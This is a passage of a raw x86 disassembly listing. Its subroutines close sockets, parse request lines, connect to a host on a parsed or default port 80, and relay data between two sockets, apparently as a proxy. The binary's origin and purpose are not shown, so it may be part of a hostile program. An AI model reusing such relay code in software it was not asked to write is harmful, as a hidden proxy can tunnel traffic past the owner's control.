2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13D2440 proc near ; CODE XREF: sub_13AB9F5j jmp sub_13ABB9E sub_13D2440 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13D2460 proc near ; CODE XREF: sub_13AB9AFj push ebx push ebp push esi mov esi, ecx push edi lea edi, [esi+82h] lea ebx, [esi+58h] mov ecx, edi lea ebp, [esi+6Dh] call sub_13ABBE4 push eax mov ecx, ebx call sub_13ABBE4 push eax mov ecx, ebp call sub_13ABBE4 push eax lea ecx, [esi+11h] call sub_13ABBE4 push eax push offset dword_444F94 lea ecx, [esi+26h] call sub_13AB8D3 mov cl, [esi+97h] push eax mov al, [esi+98h] push eax push ecx push offset byte_E19CC5 call sub_13ABC48 mov edx, [esi+99h] add esp, 24h add edx, 11Ch mov ecx, edi push edx call sub_13ABBE4 push eax mov ecx, ebp call sub_13ABBE4 push eax mov ecx, ebx call sub_13ABBE4 push eax call sub_13AC19D add esp, 10h mov ecx, edi call sub_13ABBE4 push eax mov ecx, ebx call sub_13ABBE4 push eax mov ecx, ebp call sub_13ABBE4 push eax lea ecx, [esi+11h] call sub_13ABBE4 push eax push offset dword_444F54 lea ecx, [esi+26h] call sub_13AB8D3 mov cl, [esi+97h] push eax mov al, [esi+98h] push eax push ecx push offset byte_E19CC5 call sub_13ABC48 add esp, 24h pop edi pop esi pop ebp pop ebx retn sub_13D2460 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13D2580 proc near ; CODE XREF: sub_13ABC84j var_28 = dword ptr -28h var_24 = byte ptr -24h var_10 = dword ptr -10h var_8 = byte ptr -8 var_4 = dword ptr -4 push 0FFFFFFFFh push 43B99Eh mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push esi mov esi, ecx mov [esp+2Ch+var_28], esi call sub_13AC382 lea ecx, [esi+0A1h] mov [esp+2Ch+var_4], 0 call sub_13AB824 push 0 push 2Ah push 2Eh push 2Eh lea eax, [esp+3Ch+var_24] push 22h push eax mov byte ptr [esp+44h+var_4], 1 mov dword ptr [esi], offset dword_43E14C call sub_13ABDB5 add esp, 18h mov ecx, eax mov byte ptr [esp+2Ch+var_4], 2 call sub_13ABBE4 push eax lea ecx, [esi+11h] call sub_13AB9D7 lea ecx, [esp+30h+var_28] mov [esp+30h+var_8], 1 call sub_13AB626 mov ecx, [esp+30h+var_10] mov eax, esi pop esi mov large fs:0, ecx add esp, 28h retn sub_13D2580 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 2 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13D2640 proc near ; CODE XREF: sub_13AC215j sub_13AC5B2j arg_0 = byte ptr 4 push esi mov esi, ecx call sub_13ABFD1 test [esp+4+arg_0], 1 jz short loc_13D2658 push esi call near ptr 13E0C02h add esp, 4 loc_13D2658: ; CODE XREF: sub_13D2640+Dj mov eax, esi pop esi retn 4 sub_13D2640 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13D2670 proc near ; CODE XREF: sub_13ABFD1j push esi mov esi, ecx push edi mov edi, closesocket mov eax, [esi+0BFh] mov dword ptr [esi], offset dword_43E14C cmp eax, 0FFFFFFFFh jz short loc_13D268E push eax call edi ; closesocket loc_13D268E: ; CODE XREF: sub_13D2670+19j mov eax, [esi+0BBh] cmp eax, 0FFFFFFFFh jz short loc_13D269C push eax call edi ; closesocket loc_13D269C: ; CODE XREF: sub_13D2670+27j lea ecx, [esi+0A1h] call sub_13AB626 mov ecx, esi call sub_13ABB9E pop edi pop esi retn sub_13D2670 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13D26E0 proc near ; CODE XREF: sub_13AC12Aj var_14F = byte ptr -14Fh var_14A = byte ptr -14Ah var_148 = byte ptr -148h var_147 = byte ptr -147h var_12C = byte ptr -12Ch var_114 = byte ptr -114h var_FC = byte ptr -0FCh var_EC = dword ptr -0ECh var_E7 = byte ptr -0E7h var_E6 = byte ptr -0E6h var_DC = byte ptr -0DCh var_D4 = byte ptr -0D4h var_CC = dword ptr -0CCh var_C8 = byte ptr -0C8h var_C5 = byte ptr -0C5h var_C4 = byte ptr -0C4h var_C0 = byte ptr -0C0h var_B8 = byte ptr -0B8h var_A8 = byte ptr -0A8h var_A4 = byte ptr -0A4h var_A0 = byte ptr -0A0h var_98 = byte ptr -98h var_90 = byte ptr -90h var_88 = byte ptr -88h var_78 = byte ptr -78h var_70 = byte ptr -70h var_6C = byte ptr -6Ch var_68 = byte ptr -68h var_60 = byte ptr -60h var_5C = byte ptr -5Ch var_58 = byte ptr -58h var_54 = byte ptr -54h var_52 = word ptr -52h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_38 = byte ptr -38h var_31 = byte ptr -31h var_30 = byte ptr -30h var_21 = byte ptr -21h var_1C = byte ptr -1Ch var_10 = byte ptr -10h var_B = byte ptr -0Bh var_A = byte ptr -0Ah var_9 = byte ptr -9 var_8 = byte ptr -8 var_4 = byte ptr -4 arg_8 = byte ptr 0Ch arg_C = byte ptr 10h arg_10 = byte ptr 14h arg_11 = byte ptr 15h arg_24 = byte ptr 28h arg_2C = byte ptr 30h arg_30 = dword ptr 34h arg_34 = byte ptr 38h arg_3C = byte ptr 40h arg_40 = dword ptr 44h arg_4C = byte ptr 50h arg_5C = byte ptr 60h arg_65 = byte ptr 69h arg_6C = byte ptr 70h arg_70 = dword ptr 74h arg_74 = byte ptr 78h arg_7C = byte ptr 80h arg_8C = byte ptr 90h arg_90 = byte ptr 94h arg_98 = byte ptr 9Ch arg_9C = byte ptr 0A0h arg_BC = byte ptr 0C0h arg_C4 = byte ptr 0C8h arg_D8 = byte ptr 0DCh arg_F0 = byte ptr 0F4h arg_100 = byte ptr 104h arg_104 = byte ptr 108h arg_114 = byte ptr 118h arg_11C = byte ptr 120h arg_128 = byte ptr 12Ch arg_134 = byte ptr 138h arg_140 = byte ptr 144h arg_168 = byte ptr 16Ch arg_190 = byte ptr 194h arg_1A4 = dword ptr 1A8h arg_1A8 = dword ptr 1ACh arg_1AC = dword ptr 1B0h arg_1C4 = byte ptr 1C8h arg_1D4 = byte ptr 1D8h arg_1DC = byte ptr 1E0h arg_1E0 = byte ptr 1E4h arg_1F4 = byte ptr 1F8h arg_1F8 = byte ptr 1FCh arg_200 = byte ptr 204h arg_208 = byte ptr 20Ch arg_20C = byte ptr 210h arg_210 = byte ptr 214h arg_314 = byte ptr 318h arg_324 = byte ptr 328h arg_32C = byte ptr 330h arg_334 = byte ptr 338h arg_33C = byte ptr 340h arg_344 = byte ptr 348h arg_34C = byte ptr 350h arg_358 = byte ptr 35Ch arg_35C = byte ptr 360h arg_368 = byte ptr 36Ch arg_36C = byte ptr 370h arg_374 = byte ptr 378h arg_37C = byte ptr 380h arg_380 = byte ptr 384h arg_38C = byte ptr 390h arg_390 = byte ptr 394h arg_39C = byte ptr 3A0h arg_3AC = byte ptr 3B0h arg_3BC = byte ptr 3C0h arg_3D8 = byte ptr 3DCh arg_43D8 = byte ptr 43DCh arg_5330 = dword ptr 5334h arg_5334 = byte ptr 5338h arg_5340 = dword ptr 5344h arg_5344 = byte ptr 5348h arg_5348 = byte ptr 534Ch arg_5354 = byte ptr 5358h arg_5358 = byte ptr 535Ch arg_5364 = byte ptr 5368h arg_5368 = byte ptr 536Ch arg_5374 = byte ptr 5378h arg_5378 = byte ptr 537Ch arg_5384 = byte ptr 5388h arg_5390 = byte ptr 5394h arg_5394 = byte ptr 5398h arg_53A0 = byte ptr 53A4h arg_53AC = dword ptr 53B0h arg_53B4 = dword ptr 53B8h arg_53E0 = byte ptr 53E4h arg_53E4 = dword ptr 53E8h arg_53E8 = byte ptr 53ECh arg_53F8 = byte ptr 53FCh arg_5404 = byte ptr 5408h arg_5410 = byte ptr 5414h arg_541C = byte ptr 5420h arg_5428 = byte ptr 542Ch arg_5434 = byte ptr 5438h arg_5438 = byte ptr 543Ch arg_5444 = byte ptr 5448h arg_5458 = byte ptr 545Ch arg_545C = byte ptr 5460h arg_5468 = byte ptr 546Ch arg_546C = byte ptr 5470h arg_5478 = dword ptr 547Ch arg_547C = byte ptr 5480h arg_5480 = dword ptr 5484h push 0FFFFFFFFh mov eax, large fs:0 push 43BAB2h push eax mov eax, 5488h mov large fs:0, esp call near ptr 13E0C60h push ebx push ebp push esi mov ebp, ecx or esi, 0FFFFFFFFh push edi mov [ebp+0BFh], esi mov [esp+1Ch+var_B], 0 mov [esp+1Ch+var_A], 0 loc_13D2718: ; CODE XREF: sub_13D26E0+FC6j lea ecx, [esp+1Ch+arg_98] call sub_13ABF36 lea ecx, [esp+1Ch+var_8] mov [esp+1Ch+arg_5480], 0 mov [esp+1Ch+var_9], 0 call sub_13AB824 mov ecx, [ebp+0BBh] push 0 lea eax, [esp+20h+arg_374] push 104h push eax push ecx mov byte ptr [esp+2Ch+arg_5480], 1 call sub_13AB680 add esp, 10h test al, al jz loc_13D3730 lea edx, [esp+1Ch+arg_374] lea ecx, [esp+1Ch+arg_10] push edx call sub_13ABC61 push offset byte_446F80 lea ecx, [esp+24h+arg_C] mov [esp+24h+arg_547C], 2 call sub_13AB6EE test eax, eax jnz short loc_13D27D0 lea ecx, [esp+24h+arg_8] mov byte ptr [esp+24h+arg_5478], 1 call sub_13AB626 lea ecx, [esp+24h+var_10] mov byte ptr [esp+24h+arg_5478], 0 call sub_13AB626 lea ecx, [esp+24h+arg_90] mov [esp+24h+arg_5478], esi call sub_13AB8B0 jmp loc_13D36A0 ; --------------------------------------------------------------------------- loc_13D27D0: ; CODE XREF: sub_13D26E0+B4j push offset dword_443600 lea eax, [esp+28h+arg_208] push 0 push eax lea ecx, [esp+30h+arg_8] call sub_13ABAAE push offset dword_445268 mov ecx, eax mov [esp+34h+arg_546C], 3 call sub_13AB900 test eax, eax lea ecx, [esp+34h+arg_1F8] mov [esp+34h+arg_5468], 2 setz bl call sub_13AB626 test bl, bl jz short loc_13D2895 push offset dword_443600 lea ecx, [esp+38h+arg_1E0] push 1 push ecx lea ecx, [esp+40h+var_4] mov [esp+40h+var_21], 1 call sub_13ABAAE lea edx, [esp+40h+arg_74] mov ecx, eax push edx mov [esp+44h+arg_545C], 4 call sub_13ABBE4 push eax call sub_13ABD38 add esp, 8 lea ecx, [esp+40h+arg_1D4] test al, al setz bl mov [esp+40h+arg_545C], 2 call sub_13AB626 test bl, bl jnz loc_13D371F push offset dword_444428 lea ecx, [esp+44h+arg_74] call sub_13AB6EE test eax, eax jnz loc_13D371F jmp loc_13D2A8A ; --------------------------------------------------------------------------- loc_13D2895: ; CODE XREF: sub_13D26E0+137j push offset dword_443600 lea eax, [esp+38h+arg_210] push 0 push eax lea ecx, [esp+40h+var_4] call sub_13ABAAE push offset dword_44525C mov ecx, eax mov [esp+44h+arg_545C], 5 call sub_13AB900 test eax, eax lea ecx, [esp+44h+arg_200] mov [esp+44h+arg_5458], 2 setz bl call sub_13AB626 test bl, bl jz loc_13D2A8A push offset dword_445250 lea ecx, [esp+48h+arg_70] mov [esp+48h+var_31], 0 call sub_13AB9D7 push offset byte_446F80 lea ecx, [esp+4Ch+arg_C4] call sub_13AB9D7 push offset dword_443600 lea ecx, [esp+50h+arg_D8] push 1 push ecx lea ecx, [esp+58h+var_1C] call sub_13ABAAE push offset dword_443CA4 lea edx, [esp+5Ch+arg_114] push 0 push edx mov ecx, eax mov [esp+64h+arg_5444], 6 call sub_13ABAAE push eax lea ecx, [esp+68h+arg_65] mov [esp+68h+arg_5438], 7 call sub_13AC3BE lea ecx, [esp+68h+arg_104] mov [esp+68h+arg_5434], 6 call sub_13AB626 lea ecx, [esp+68h+arg_BC] mov [esp+68h+arg_5434], 2 call sub_13AB626 push offset dword_443600 lea eax, [esp+6Ch+arg_20C] push 1 push eax lea ecx, [esp+74h+var_38] call sub_13ABAAE push offset dword_443CA4 lea ecx, [esp+78h+arg_128] push 1 push ecx mov ecx, eax mov [esp+80h+arg_5428], 8 call sub_13ABAAE mov ecx, eax mov [esp+80h+arg_541C], 9 call sub_13ABBE4 test eax, eax lea ecx, [esp+80h+arg_11C] mov [esp+80h+arg_541C], 8 setz bl call sub_13AB626 lea ecx, [esp+80h+arg_1F4] mov [esp+80h+arg_541C], 2 call sub_13AB626 test bl, bl jnz loc_13D371F push offset dword_443600 lea edx, [esp+84h+arg_1DC] push 1 push edx lea ecx, [esp+8Ch+var_50] call sub_13ABAAE push offset dword_443CA4 lea ecx, [esp+90h+arg_140] push 1 push ecx mov ecx, eax mov [esp+98h+arg_5410], 0Ah call sub_13ABAAE mov ecx, eax mov [esp+98h+arg_5404], 0Bh call sub_13ABBE4 push eax call atoi ; atoi add esp, 4 lea ecx, [esp+98h+arg_134] mov [esp+98h+arg_70], eax mov [esp+98h+arg_5404], 0Ah call sub_13AB626 lea ecx, [esp+98h+arg_1C4] mov [esp+98h+arg_5404], 2 call sub_13AB626 mov eax, [esp+98h+arg_70] test eax, eax jnz short loc_13D2A8A mov [esp+98h+arg_70], 50h loc_13D2A8A: ; CODE XREF: sub_13D26E0+1B0j ; sub_13D26E0+1FCj ... push offset dword_443600 lea edx, [esp+9Ch+var_50] push 0 push edx lea ecx, [esp+0A4h+var_68] call sub_13ABAAE push offset byte_446F80 lea ecx, [esp+0A8h+var_5C] mov [esp+0A8h+arg_53F8], 0Ch call sub_13AB6EE test eax, eax jz loc_13D370E push offset dword_443600 lea eax, [esp+0ACh+var_48] push 2 push eax lea ecx, [esp+0B4h+var_78] call sub_13ABAAE push offset byte_446F80 lea ecx, [esp+0B8h+var_54] mov [esp+0B8h+arg_53E8], 0Dh call sub_13AB6EE test eax, eax jz loc_13D36FD lea ecx, [esp+0B8h+arg_11] push ecx lea ecx, [esp+0BCh+var_30] call sub_13AB8C9 mov ecx, 1000h xor eax, eax lea edi, [esp+0BCh+arg_3D8] or ebx, 0FFFFFFFFh rep stosd mov edi, offset dword_445244 mov ecx, ebx repne scasb not ecx sub edi, ecx lea edx, [esp+0BCh+arg_43D8] mov eax, ecx mov esi, edi mov edi, edx mov [esp+0BCh+arg_53E0], 0Eh shr ecx, 2 rep movsd mov ecx, eax lea eax, [esp+0BCh+arg_43D8] and ecx, 3 rep movsb mov esi, offset dword_445240 loc_13D2B51: ; CODE XREF: sub_13D26E0+48Fj mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_13D2B75 test cl, cl jz short loc_13D2B71 mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_13D2B75 add eax, 2 add esi, 2 test cl, cl jnz short loc_13D2B51 loc_13D2B71: ; CODE XREF: sub_13D26E0+47Bj xor eax, eax jmp short loc_13D2B79 ; --------------------------------------------------------------------------- loc_13D2B75: ; CODE XREF: sub_13D26E0+477j ; sub_13D26E0+485j sbb eax, eax sbb eax, ebx loc_13D2B79: ; CODE XREF: sub_13D26E0+493j test eax, eax jz loc_13D2C53 mov edi, strncat loc_13D2B87: ; CODE XREF: sub_13D26E0+56Dj mov esi, offset byte_446F80 lea eax, [esp+0BCh+arg_43D8] loc_13D2B93: ; CODE XREF: sub_13D26E0+4D1j mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_13D2BB7 test cl, cl jz short loc_13D2BB3 mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_13D2BB7 add eax, 2 add esi, 2 test cl, cl jnz short loc_13D2B93 loc_13D2BB3: ; CODE XREF: sub_13D26E0+4BDj xor eax, eax jmp short loc_13D2BBB ; --------------------------------------------------------------------------- loc_13D2BB7: ; CODE XREF: sub_13D26E0+4B9j ; sub_13D26E0+4C7j sbb eax, eax sbb eax, ebx loc_13D2BBB: ; CODE XREF: sub_13D26E0+4D5j test eax, eax jz loc_13D2C53 mov ecx, [ebp+0BBh] push 0 lea eax, [esp+0C0h+arg_43D8] push 1000h push eax push ecx call sub_13AB680 add esp, 10h test al, al jz loc_13D3759 lea edx, [esp+0BCh+arg_43D8] push 4000h lea eax, [esp+0C0h+arg_3D8] push edx push eax call edi ; strncat push 4000h lea ecx, [esp+0CCh+arg_3D8] push offset dword_445240 push ecx call edi ; strncat add esp, 18h mov esi, offset dword_445240 lea eax, [esp+0BCh+arg_43D8] loc_13D2C23: ; CODE XREF: sub_13D26E0+561j mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_13D2C47 test cl, cl jz short loc_13D2C43 mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_13D2C47 add eax, 2 add esi, 2 test cl, cl jnz short loc_13D2C23 loc_13D2C43: ; CODE XREF: sub_13D26E0+54Dj xor eax, eax jmp short loc_13D2C4B ; --------------------------------------------------------------------------- loc_13D2C47: ; CODE XREF: sub_13D26E0+549j ; sub_13D26E0+557j sbb eax, eax sbb eax, ebx loc_13D2C4B: ; CODE XREF: sub_13D26E0+565j test eax, eax jnz loc_13D2B87 loc_13D2C53: ; CODE XREF: sub_13D26E0+49Bj ; sub_13D26E0+4DDj mov esi, strstr lea eax, [esp+0BCh+arg_3D8] push offset dword_445228 push eax call esi ; strstr add esp, 8 test eax, eax jz short loc_13D2CA7 push offset dword_443CA4 push eax call esi ; strstr add esp, 8 inc eax jz short loc_13D2CA7 cmp byte ptr [eax], 20h jnz short loc_13D2C8B loc_13D2C82: ; CODE XREF: sub_13D26E0+5A9j mov cl, [eax+1] inc eax cmp cl, 20h jz short loc_13D2C82 loc_13D2C8B: ; CODE XREF: sub_13D26E0+5A0j push offset dword_445218 push eax call _strcmpi ; _strcmpi add esp, 8 test eax, eax jz short loc_13D2CA7 mov byte ptr [ebp+0BAh], 1 jmp short loc_13D2CAE ; --------------------------------------------------------------------------- loc_13D2CA7: ; CODE XREF: sub_13D26E0+58Dj ; sub_13D26E0+59Bj ... mov byte ptr [ebp+0BAh], 0 loc_13D2CAE: ; CODE XREF: sub_13D26E0+5C5j cmp [ebp+0BFh], ebx jnz loc_13D2D46 push 6 push 1 push 2 call socket ; socket cmp eax, ebx mov [ebp+0BFh], eax jz loc_13D382D mov edx, [esp+0C8h+arg_40] xor ecx, ecx mov [esp+0C8h+var_50], ecx push edx mov [esp+0CCh+var_4C], ecx mov word ptr [esp+0CCh+var_50], 2 mov [esp+0CCh+var_48], ecx mov [esp+0CCh+var_44], ecx call htons ; htons lea ecx, [esp+0CDh] mov [esp+0CCh+var_52], ax call sub_13ABBE4 push eax call sub_13ABC7F add esp, 4 cmp eax, ebx mov [esp+0CCh+var_50], eax jz loc_13D376B mov ecx, [ebp+0BFh] lea eax, [esp+0CCh+var_54] push 10h push eax push ecx call connect ; connect cmp eax, ebx jz loc_13D37C8 loc_13D2D46: ; CODE XREF: sub_13D26E0+5D4j mov al, [esp+0D8h+var_C5] test al, al jz loc_13D33EE mov al, [ebp+0BAh] test al, al jz short loc_13D2D91 lea edx, [esp+0D8h+arg_3BC] lea ecx, [esp+0D8h+var_78] push edx call sub_13ABBE4 push eax lea ecx, [esp+0E0h+arg_34] call sub_13ABBE4 push eax lea ecx, [esp+0E4h+var_90] call sub_13ABBE4 push eax lea eax, [esp+0E8h+var_C4] push offset dword_4451EC push eax jmp short loc_13D2DC4 ; --------------------------------------------------------------------------- loc_13D2D91: ; CODE XREF: sub_13D26E0+67Aj lea ecx, [esp+0D8h+arg_3BC] push ecx lea ecx, [esp+0DCh+var_78] call sub_13ABBE4 push eax lea ecx, [esp+0E0h+arg_34] call sub_13ABBE4 push eax lea ecx, [esp+0E4h+var_90] call sub_13ABBE4 push eax lea edx, [esp+0E8h+var_C4] push offset dword_4451C4 push edx loc_13D2DC4: ; CODE XREF: sub_13D26E0+6AFj call sub_13AB42D add esp, 18h lea ecx, [esp+0D8h+var_C4] push 0 call sub_13AB7D9 push eax lea ecx, [esp+0E0h+var_C4] call sub_13ABBE4 push eax mov eax, [ebp+0BFh] push eax call send ; send test eax, eax jz loc_13D3812 cmp eax, ebx jz loc_13D3812 mov edx, [ebp+0BFh] push 0 lea ecx, [esp+0ECh+arg_3AC] push 4000h push ecx push edx call sub_13AB680 add esp, 10h test al, al jz loc_13D383F mov edi, offset dword_445240 or ecx, 0FFFFFFFFh xor eax, eax lea edx, [esp+0E8h+arg_3AC] repne scasb not ecx sub edi, ecx push eax mov esi, edi mov ebx, ecx mov edi, edx or ecx, 0FFFFFFFFh repne scasb mov ecx, ebx dec edi shr ecx, 2 rep movsd mov ecx, ebx and ecx, 3 rep movsb lea edi, [esp+0ECh+arg_3AC] or ecx, 0FFFFFFFFh repne scasb not ecx dec ecx lea eax, [esp+0ECh+arg_3AC] push ecx mov ecx, [ebp+0BBh] push eax push ecx call send ; send xor ebx, ebx mov esi, offset dword_445240 mov [esp+0F8h+var_CC], ebx lea eax, [esp+0F8h+arg_39C] loc_13D2E8E: ; CODE XREF: sub_13D26E0+7CCj mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_13D2EB2 test cl, cl jz short loc_13D2EAE mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_13D2EB2 add eax, 2 add esi, 2 test cl, cl jnz short loc_13D2E8E loc_13D2EAE: ; CODE XREF: sub_13D26E0+7B8j xor eax, eax jmp short loc_13D2EB7 ; --------------------------------------------------------------------------- loc_13D2EB2: ; CODE XREF: sub_13D26E0+7B4j ; sub_13D26E0+7C2j sbb eax, eax sbb eax, 0FFFFFFFFh loc_13D2EB7: ; CODE XREF: sub_13D26E0+7D0j test eax, eax jz loc_13D3239 loc_13D2EBF: ; CODE XREF: sub_13D26E0+B48j mov esi, offset byte_446F80 lea eax, [esp+0F8h+arg_39C] loc_13D2ECB: ; CODE XREF: sub_13D26E0+80Dj mov dl, [eax] mov bl, [esi] mov cl, dl cmp dl, bl jnz short loc_13D2EF3 test cl, cl jz short loc_13D2EEF mov dl, [eax+1] mov bl, [esi+1] mov cl, dl cmp dl, bl jnz short loc_13D2EF3 add eax, 2 add esi, 2 test cl, cl jnz short loc_13D2ECB loc_13D2EEF: ; CODE XREF: sub_13D26E0+7F7j xor eax, eax jmp short loc_13D2EF8 ; --------------------------------------------------------------------------- loc_13D2EF3: ; CODE XREF: sub_13D26E0+7F3j ; sub_13D26E0+803j sbb eax, eax sbb eax, 0FFFFFFFFh loc_13D2EF8: ; CODE XREF: sub_13D26E0+811j test eax, eax jz loc_13D3235 mov ecx, [ebp+0BFh] push 0 lea eax, [esp+0FCh+arg_39C] push 4000h push eax push ecx call sub_13AB680 add esp, 10h test al, al jz loc_13D3230 lea edx, [esp+0F8h+arg_39C] lea ecx, [esp+0F8h+var_58] push edx call sub_13ABC61 push offset dword_443600 lea eax, [esp+100h+arg_100] push 0 push eax lea ecx, [esp+108h+var_5C] mov [esp+108h+arg_53A0], 0Fh call sub_13ABAAE push offset dword_4451B0 mov ecx, eax mov [esp+10Ch+arg_5394], 10h call sub_13AB900 test eax, eax lea ecx, [esp+10Ch+arg_F0] mov [esp+10Ch+arg_5390], 0Fh setz bl call sub_13AB626 test bl, bl jz short loc_13D2FDA push offset dword_443600 lea ecx, [esp+110h+arg_30] push 1 push ecx lea ecx, [esp+118h+var_6C] call sub_13ABAAE mov ecx, eax mov [esp+118h+arg_5384], 11h call sub_13ABBE4 push eax call atoi ; atoi add esp, 4 lea ecx, [esp+118h+arg_24] mov [esp+118h+var_EC], eax mov [esp+118h+arg_5384], 0Fh call sub_13AB626 loc_13D2FDA: ; CODE XREF: sub_13D26E0+8ACj push offset dword_443600 lea edx, [esp+11Ch+arg_3C] push 0 push edx lea ecx, [esp+124h+var_78] call sub_13ABAAE push offset dword_445198 mov ecx, eax mov [esp+128h+arg_5378], 12h call sub_13AB900 test eax, eax lea ecx, [esp+128h+arg_2C] mov [esp+128h+arg_5374], 0Fh setz bl call sub_13AB626 test bl, bl jz short loc_13D3069 push offset dword_443600 lea eax, [esp+12Ch+arg_5C] push 1 push eax lea ecx, [esp+134h+var_88] call sub_13ABAAE push offset dword_44518C mov ecx, eax mov [esp+138h+arg_5368], 13h call sub_13AB900 lea ecx, [esp+138h+arg_4C] mov [esp+138h+arg_5364], 0Fh call sub_13AB626 loc_13D3069: ; CODE XREF: sub_13D26E0+944j push offset dword_443600 lea ecx, [esp+13Ch+arg_7C] push 0 push ecx lea ecx, [esp+144h+var_98] call sub_13ABAAE push offset dword_44517C mov ecx, eax mov [esp+148h+arg_5358], 14h call sub_13AB900 test eax, eax lea ecx, [esp+148h+arg_6C] mov [esp+148h+arg_5354], 0Fh setz bl call sub_13AB626 test bl, bl jz short loc_13D3104 push offset dword_443600 lea edx, [esp+14Ch+arg_9C] push 1 push edx lea ecx, [esp+154h+var_A8] call sub_13ABAAE push offset dword_445218 mov ecx, eax mov [esp+158h+arg_5348], 15h call sub_13AB900 test eax, eax lea ecx, [esp+158h+arg_8C] mov [esp+158h+arg_5344], 0Fh setz bl call sub_13AB626 test bl, bl setnz [esp+158h+var_147] loc_13D3104: ; CODE XREF: sub_13D26E0+9D3j mov esi, offset dword_445240 lea eax, [esp+158h+arg_33C] loc_13D3110: ; CODE XREF: sub_13D26E0+A52j mov dl, [eax] mov bl, [esi] mov cl, dl cmp dl, bl jnz short loc_13D3138 test cl, cl jz short loc_13D3134 mov dl, [eax+1] mov bl, [esi+1] mov cl, dl cmp dl, bl jnz short loc_13D3138 add eax, 2 add esi, 2 test cl, cl jnz short loc_13D3110 loc_13D3134: ; CODE XREF: sub_13D26E0+A3Cj xor eax, eax jmp short loc_13D313D ; --------------------------------------------------------------------------- loc_13D3138: ; CODE XREF: sub_13D26E0+A38j ; sub_13D26E0+A48j sbb eax, eax sbb eax, 0FFFFFFFFh loc_13D313D: ; CODE XREF: sub_13D26E0+A56j test eax, eax jz loc_13D31D9 mov esi, offset byte_446F80 lea eax, [esp+158h+arg_33C] loc_13D3151: ; CODE XREF: sub_13D26E0+A93j mov dl, [eax] mov bl, [esi] mov cl, dl cmp dl, bl jnz short loc_13D3179 test cl, cl jz short loc_13D3175 mov dl, [eax+1] mov bl, [esi+1] mov cl, dl cmp dl, bl jnz short loc_13D3179 add eax, 2 add esi, 2 test cl, cl jnz short loc_13D3151 loc_13D3175: ; CODE XREF: sub_13D26E0+A7Dj xor eax, eax jmp short loc_13D317E ; --------------------------------------------------------------------------- loc_13D3179: ; CODE XREF: sub_13D26E0+A79j ; sub_13D26E0+A89j sbb eax, eax sbb eax, 0FFFFFFFFh loc_13D317E: ; CODE XREF: sub_13D26E0+A97j test eax, eax jz short loc_13D31D9 mov edi, offset dword_445240 or ecx, 0FFFFFFFFh xor eax, eax lea edx, [esp+158h+arg_33C] repne scasb not ecx sub edi, ecx push eax mov esi, edi mov ebx, ecx mov edi, edx or ecx, 0FFFFFFFFh repne scasb mov ecx, ebx dec edi shr ecx, 2 rep movsd mov ecx, ebx and ecx, 3 rep movsb lea edi, [esp+15Ch+arg_33C] or ecx, 0FFFFFFFFh repne scasb not ecx dec ecx lea eax, [esp+15Ch+arg_33C] push ecx mov ecx, [ebp+0BBh] push eax push ecx call send ; send loc_13D31D9: ; CODE XREF: sub_13D26E0+A5Fj ; sub_13D26E0+AA0j lea ecx, [esp+168h+var_C8] mov [esp+168h+arg_5334], 0Eh call sub_13AB626 mov esi, offset dword_445240 lea eax, [esp+168h+arg_32C] loc_13D31F9: ; CODE XREF: sub_13D26E0+B3Bj mov dl, [eax] mov bl, [esi] mov cl, dl cmp dl, bl jnz short loc_13D3221 test cl, cl jz short loc_13D321D mov dl, [eax+1] mov bl, [esi+1] mov cl, dl cmp dl, bl jnz short loc_13D3221 add eax, 2 add esi, 2 test cl, cl jnz short loc_13D31F9 loc_13D321D: ; CODE XREF: sub_13D26E0+B25j xor eax, eax jmp short loc_13D3226 ; --------------------------------------------------------------------------- loc_13D3221: ; CODE XREF: sub_13D26E0+B21j ; sub_13D26E0+B31j sbb eax, eax sbb eax, 0FFFFFFFFh loc_13D3226: ; CODE XREF: sub_13D26E0+B3Fj test eax, eax jnz loc_13D2EBF jmp short loc_13D3235 ; --------------------------------------------------------------------------- loc_13D3230: ; CODE XREF: sub_13D26E0+840j mov [esp+0F8h+var_E6], 1 loc_13D3235: ; CODE XREF: sub_13D26E0+81Aj ; sub_13D26E0+B4Ej mov ebx, [esp+0F8h+var_CC] loc_13D3239: ; CODE XREF: sub_13D26E0+7D9j mov al, [esp+0F8h+var_E7] push 0 test al, al jz short loc_13D3261 mov edi, offset dword_44515C or ecx, 0FFFFFFFFh xor eax, eax repne scasb mov eax, [ebp+0BBh] not ecx dec ecx push ecx push offset dword_44515C push eax jmp short loc_13D327D ; --------------------------------------------------------------------------- loc_13D3261: ; CODE XREF: sub_13D26E0+B61j mov edi, offset dword_445144 or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx push ecx mov ecx, [ebp+0BBh] push offset dword_445144 push ecx loc_13D327D: ; CODE XREF: sub_13D26E0+B7Fj call send ; send mov edi, offset dword_445240 or ecx, 0FFFFFFFFh xor eax, eax lea edx, [esp+108h+arg_38C] repne scasb not ecx sub edi, ecx push 0 mov eax, ecx mov esi, edi mov edi, edx mov edx, [ebp+0BBh] shr ecx, 2 rep movsd mov ecx, eax xor eax, eax and ecx, 3 rep movsb lea edi, [esp+10Ch+arg_38C] or ecx, 0FFFFFFFFh repne scasb not ecx dec ecx push ecx lea ecx, [esp+110h+arg_38C] push ecx push edx call send ; send test ebx, ebx jz loc_13D33AC xor edi, edi test ebx, ebx jle short loc_13D3334 